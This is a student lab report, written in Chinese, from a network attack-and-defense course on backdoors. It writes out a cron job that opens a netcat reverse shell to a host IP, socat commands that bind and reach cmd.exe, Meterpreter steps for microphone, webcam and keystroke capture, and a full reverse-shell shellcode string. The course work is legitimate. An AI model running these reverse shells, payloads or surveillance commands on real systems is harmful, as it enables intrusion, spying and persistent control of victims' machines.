20232303 2025-2026-1 《网络与系统攻防技术》实验二实验报告
20232303 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1. 实验内容
- 使用netcat获取主机操作Shell,通过cron启动某项任务
- 通过任务计划来使用socat获取主机操作Shell
- 使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn20232303_1中,获取反弹连接Shell
2. 实验过程
2.1 使用netcat获取主机操作Shell
2.1.1 实验准备
关闭360,防火墙


从实验所给附件中下载natcat

2.1.2 获得虚拟机shell
在windows主机上进入下载natcat的目录,打开cmd,用ncat对2409端口进行监听

打开另一个cmd,查看监听情况,出现LISTENING证明监听成功

查看windows主机ip地址

ip地址为192.168.43.186
打开虚拟机,输入命令用natcat连接到windows主机的2409端口

连接成功,获得虚拟机shell

2.1.3 启动持久化后门定时任务
在虚拟机中输入crontab -e编辑crontab文件,选择2来编辑。
在文件末尾添加42 * * * * /bin/netcat 192.168.43.186 2409 -e /bin/sh
该指令会让虚拟机每小时第42分钟自动尝试连接windows主机,一旦连接成功,就能直接获取windows主机的命令行控制权,实现持久化远程操控。
输入crontab -l可以看到已修改成功

在虚拟机中通过路径/var/spool/cron/crontabs,用root身份打开crontabs文件夹,发现多了一个创建的持久化后门定时任务文件

2.2 使用socat获取主机操作Shell
2.2.1 在任务计划程序中创建任务并新建触发器
打开任务计划程序

创建一个任务,在任务下新建触发器

2.2.2 配置任务
下载附件中的socat

在创建任务里新建操作,在程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5315 exec:cmd.exe,pty,stderr,将cmd.exe绑定到端口5315。

配置完成,启动该任务

2.2.3 用socat获取主机shell
在虚拟机中输入socat - tcp:192.168.43.186:5315,成功获取主机操作shell

2.3 使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell
2.3.1 生成可执行后门文件,传送到主机
查看虚拟机ip

生成可执行的后门文件20232321_backdoor.exe

通过ncat将后门文件传送到主机


上传成功

2.3.2 配置msfconsole,运行后门程序获得主机shell
启动msfconsole

启动handler,并配置ip、路径和端口

升级metasploit后用root用户启动exploit,双击后门程序成功运行

输入命令验证获得主机shell成功

2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并提权
2.4.1 获取音频后门
使用record_mic获取音频后门
record_mic 是 Metasploit Framework(MSF) 中 meterpreter 会话的核心指令之一,主要功能是远程控制目标主机的麦克风,录制其周围音频并回传至攻击者端。
当攻击者通过后门程序(如 MSF 生成的 reverse_tcp 后门)获取目标主机的 meterpreter 会话后,输入 record_mic 即可触发指令 —— 该指令会调用目标系统(Windows/Linux/macOS 均支持)的音频驱动,静默启动麦克风录制(默认录制时长较短,可通过参数指定时长,如 record_mic -d 60 表示录制 60 秒);
录制完成后,音频文件(通常为 .wav 格式)会自动回传至攻击者的 MSF 控制台所在主机,攻击者可直接查看或保存该文件;

2.4.2 获取摄像头拍照后门
与获取音频后门相似,输入webcam_snap获取摄像头拍照后门


2.4.3 获取摄像头录像后门
输入webcam_stream获取摄像头录像后门

2.4.4 获取击键记录后门
输入keyscan_start获取击键记录,输入keyscan_dump读取击键记录

2.5 使用MSF生成shellcode,注入到实践1中的pwn20232303_1中,获取反弹连接Shell
2.5.1 实验准备
到https://www.exploit-db.com/shellcodes网址下载shellcode编码,选择日期为2018-05-14的

打开下载的C文件,找到ip地址和端口号

将0xfeffff80和0xffffffff进行异或得到 0x0100007f,转换为ip地址为127.0.0.1
端口号为4444
要注入的shellcode如下

2.5.2 确定shellcode地址
按照实验一过程寻找shellcode返回地址


得到返回地址是0xffffcf2c+4=0xffffcf30
将得到的地址填入shellcode中,得到shellcode为:
"\x30\xcf\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"
2.5.3 配置msfconsole
与2.3.2配置步骤一致,注意ip和端口号采用2.5.1中计算得出的结果

2.5.4 启动exploit,运行pwn20232303_1
将shellcode放入注入文件中

启动exploit,将注入文件作为输入运行pwn20232303_1


可以看到最终结果显示成功获取shell
3. 问题回答
3.1 例举你能想到的一个后门进入到你系统中的可能方式?
当我在网上下载了一款开源软件例如某个视频格式转换工具,但下载源并非官方仓库而是某个被篡改的第三方网站,攻击者可能在软件中嵌入了经过混淆的后门代码,当我以管理员权限安装时,程序会正常运行主功能,同时还会在系统计划任务中创建一项隐蔽任务,每日定时向远程服务器发送加密的系统信息并接收指令。此后门还可能通过数字签名欺骗或进程注入等方式规避杀毒软件检测,长期潜伏在我的系统中。
3.2 例举你知道的后门如何启动起来(win及linux)的方式?
在Windows系统中,后门程序常利用以下机制实现自启动:
-
注册表自启动:后门程序将自身路径添加到特定的注册表键值中,例如HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run或HKEY_LOCAL_MACHINE下的对应路径,使得系统启动或用户登录时自动运行后门
-
计划任务:通过系统自带的schtasks命令创建计划任务,可以配置后门程序在特定时间、系统启动时或按固定周期执行,从而实现定时触发或持续驻留
-
系统服务:将后门程序注册为一个Windows系统服务,并设置为自动启动,这样后门便随系统启动而在后台常驻运行
-
映像劫持:通过修改注册表,劫持系统辅助功能程序的调试器路径。当触发这些功能时,实际启动的是后门程序
在Linux系统中,后门程序则可能通过以下方式启动:
-
定时任务:利用crontab设置定时任务,配置后门程序在特定时间或按固定周期执行。例如,在cron配置文件中添加一行指令,使后门程序每小时运行一次
-
系统服务:将后门程序注册为systemd或其他初始化系统的服务,并配置为在系统启动时自动运行,从而实现持久化
-
启动脚本:将后门程序的启动命令添加到系统启动脚本中,例如/etc/rc.local文件,使得系统在启动过程中执行该后门
-
SSH密钥后门:将攻击者的公钥写入目标系统的~/.ssh/authorized_keys文件中,从而允许攻击者无需密码即可通过SSH远程登录系统
-
可装载内核模块:一种更高级和隐蔽的方式是使用可装载内核模块(LKM)后门,它直接以内核级别运行,功能强大且难以被发现
3.3 Meterpreter有哪些给你映像深刻的功能?
Meterpreter最令我印象深刻的是其先进的内存驻留技术与高度集成的功能模块。它并非以独立进程形式运行,而是通过反射式DLL注入技术直接嵌入到目标系统的合法进程内存中,就像我实验中生成的20232303_backdoor.exe文件。这一特性极大地增强了其隐蔽性,有效规避了基于进程的检测。建立会话后,其模块化设计展现了强大的灵活性,我可以使用migrate指令在进程间无缝迁移以维持访问权限;通过内置的模块轻松完成屏幕捕获、键盘记录等敏感操作。最终,通过获取一个交互式shell,我获得了对目标系统的实质性控制。整个体验让我深刻体会到现代高级攻击中“活在内存中”和无文件攻击的威力与防御难度。
3.4 如何发现自己的系统有没有被安装后门?
发现后门需要进行系统性的检查:首先,利用网络监控工具例如Windows资源监视器或Linux的netstat等排查是否存在可疑的未知远程连接;其次,检查系统的自启动项,寻找异常任务或服务;再次,使用权威杀毒软件或EDR等专业安全工具进行全盘扫描,以识别已知后门签名;最后,对比系统关键文件和日志,查看是否有异常修改或登录记录。任何未经授权的连接、启动项或进程都可能是后门存在的迹象。
4. 问题及解决方案
- 问题:启动exploit时,会话建立后立即关闭,原因是died

- 解决:首先我采用了课程群里同学们的解决方法,对Metasploit框架进行更新

但是此时遇到了新的问题,错误日志提到无法在目标IP上投递payload,原因是“No such file or directory”,路径指向了data目录下的某个文件。这说明系统在尝试访问payload相关的文件时找不到路径。

我通过询问AI,一开始认为是因为不完整的安装或更新,所以首先尝试修复依赖,然后重新安装 metasploit-framework,问题没有解决。又尝试了其他方法,也没有解决该问题。

最后我考虑到可能是因为运行Metasploit的用户可能没有权限读取 /usr/share/metasploit-framework/目录下的某些文件,所以我又使用root用户重新配置了msfconsole,再启动exploit,成功。

5. 学习感悟与思考
通过本次实验,我实践了网络与系统攻防中的后门技术,初步尝试使用netcat、socat和MSF meterpreter等工具获取远程Shell、设置持久化任务以及进行权限提升。实验不仅涵盖了从基础连接到的复杂注入攻击,还让我亲身体验了Meterpreter的多种功能模块,如音频录制、摄像头控制和击键记录,从而加深了对系统漏洞利用和隐蔽通信机制的理解。这些操作让我认识到后门植入的多样性和危害性,同时也锻炼了我在真实环境中配置工具、排查问题的实战能力。
在实验过程中,我遇到了会话意外关闭等技术挑战,但通过更新框架、调整权限和反复测试,最终成功解决了问题。这让我体会到网络安全攻防的对抗性和细致性,任何细节疏忽都可能导致失败。此次实验不仅提升了我的技术操作技能,更让我反思了防御措施的重要性,未来我将更注重学习安全原理和主动防护策略,以在实战中平衡攻防视角,增强整体安全素养。

浙公网安备 33010602011771号